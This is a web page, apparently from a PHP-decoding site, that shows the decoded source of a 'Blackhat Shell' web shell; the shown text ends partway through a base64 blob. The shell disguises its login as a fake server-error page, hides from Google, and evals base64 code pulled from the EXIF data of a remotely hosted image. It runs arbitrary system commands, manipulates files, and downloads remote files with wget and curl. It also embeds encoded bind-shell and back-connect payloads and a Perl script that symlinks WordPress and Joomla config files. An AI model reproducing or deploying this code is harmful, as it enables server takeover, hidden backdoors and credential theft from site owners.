Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php # LOL # Blackhat Shell By cr1p.blogspot.com # Pass Default "bh" # Jancoeg Ev..
Decoded Output download
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<title>500 Internal Server Error</title>
<h1>Internal Server Error </h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator at
webmaster@<?=$_SERVER['HTTP_HOST']?> to inform them of the time this error occurred,
and the actions you performed just before this error.</p>
<p>More information about this error may be available
in the server error log.</p>
<p>Additionally, a 500 Internal Server Error
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<form method=post>
<input type=password name=pass>
</form></center>
<?php
$BASED = exif_read_data("http://s11.postimg.org/6nuafyehr/coorupe.jpg");
eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
@ini_set('log_errors',0);
@ini_set('output_buffering',0);
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip
");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez;
exit;
}
if(isset($_GET['img'])){
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
$software = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
$system = @php_uname();
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
if(isset($_GET['y'])){
if(@is_dir($_GET['view'])){
$pwd = $_GET['view'];
@chdir($pwd);
}
else{
$pwd = $_GET['y'];
@chdir($pwd);
}
}
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}
if(!$win){
if(!$user = rapih(exe("whoami"))) $user = "";
if(!$id = rapih(exe("id"))) $id = "";
$prompt = $user." \$ ";
$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\";
$v = explode("\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\");
if ($bool)
{
$letters .= "<a href=\"?y=".$letter.":\">[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
$letters .= " ]</a> ";
}
}
}
function testoracle() {
if (function_exists('ocilogon')) { return showstat("on"); }
else { return showstat("off"); }
}
function testmssql() {
if (function_exists('mssql_connect')) { return showstat("on"); }
else { return showstat("off"); }
}
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "bh";
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
$pathz = "";
for($j = 0 ; $j <= $i ; $j++){
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
// rename file or folder
if(isset($_POST['rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST['chmod'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
if(isset($_POST['chmod_folder'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . "" . $value;}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;}
// print useful info
$buff = "Software : <b>".$software."</b><br />";
$buff .= "System OS : <b>".$system."</b><br />";
if($id != "") $buff .= "ID : <b>".$id."</b><br />";
$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
$buff .= "Server ip : <b><font color= \"red\">".$server_ip."</b> </font><span class=\"gaya\"> | </span> Your ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font><hr>";
function rapih($text){
return trim(str_replace("<br />","",$text));
}
function magicboom($text){
if (!get_magic_quotes_gpc()) {
return $text;
}
return stripslashes($text);
}
function showdir($pwd,$prompt){
$fname = array();
$dname = array();
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
$user = "????:????";
if($dh = @scandir($pwd)){
foreach($dh as $file){
if(is_dir($file)){
$dname[] = $file;
}
elseif(is_file($file)){
$fname[] = $file;
}
}
}
else{
if($dh = @opendir($pwd)){
while($file = @readdir($dh)){
if(@is_dir($file)){
$dname[] = $file;
}
elseif(@is_file($file)){
$fname[] = $file;
}
}
@closedir($dh);
}
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = "";
$buff = "
<center><form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
<table class=\"cmdbox\" style=\"width:50%;\">
<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form>
<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
</form></table><table class=\"explore\">
<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr></center>
";
if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
else $parent = $pwd;
foreach($dname as $folder){
if($folder == ".") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
<a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form></td>
</tr>
";
}
elseif($folder == "..") {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
<td style=\"text-align:center;\">".$owner."</td>
<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
<td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
</form>
</td></tr>";
}
else {
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
<td><center>
<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
}
}
foreach($fname as $file){
$full = $pwd.$file;
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
<td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
}
$buff .= "</table>";
return $buff;
}
function ukuran($file){
if($size = @filesize($file)){
if($size <= 1024) return $size;
else{
if($size <= 1024*1024) {
$size = @round($size / 1024,2);;
return "$size kb";
}
else {
$size = @round($size / 1024 / 1024,2);
return "$size mb";
}
}
}
else return "???";
}
function exe($cmd){
if(function_exists('system')) {
@ob_start();
@system($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('exec')) {
@exec($cmd,$results);
$buff = "";
foreach($results as $result){
$buff .= $result;
}
return $buff;
}
elseif(function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$buff = @ob_get_contents();
@ob_end_clean();
return $buff;
}
elseif(function_exists('shell_exec')){
$buff = @shell_exec($cmd);
return $buff;
}
}
function tulis($file,$text){
$textz = gzinflate(base64_decode($text));
if($filez = @fopen($file,"w"))
{
@fputs($filez,$textz);
@fclose($file);
}
}
function ambil($link,$file) {
if($fp = @fopen($link,"r")){
while(!feof($fp)) {
$cont.= @fread($fp,1024);
}
@fclose($fp);
$fp2 = @fopen($file,"w");
@fwrite($fp2,$cont);
@fclose($fp2);
}
}
function which($pr){
$path = exe("which $pr");
if(!empty($path)) { return trim($path); } else { return trim($pr); }
}
function download($cmd,$url){
$namafile = basename($url);
switch($cmd) {
case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
case 'wfread' : ambil($wurl,$namafile);break;
case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
default: break;
}
return $namafile;
}
function get_perms($file)
{
if($mode=@fileperms($file)){
$perms='';
$perms .= ($mode & 00400) ? 'r' : '-';
$perms .= ($mode & 00200) ? 'w' : '-';
$perms .= ($mode & 00100) ? 'x' : '-';
$perms .= ($mode & 00040) ? 'r' : '-';
$perms .= ($mode & 00020) ? 'w' : '-';
$perms .= ($mode & 00010) ? 'x' : '-';
$perms .= ($mode & 00004) ? 'r' : '-';
$perms .= ($mode & 00002) ? 'w' : '-';
$perms .= ($mode & 00001) ? 'x' : '-';
return $perms;
}
else return "??????????";
}
function clearspace($text){
return str_replace(" ","_",$text);
}
// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//confshell
//contolsmucok
$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycu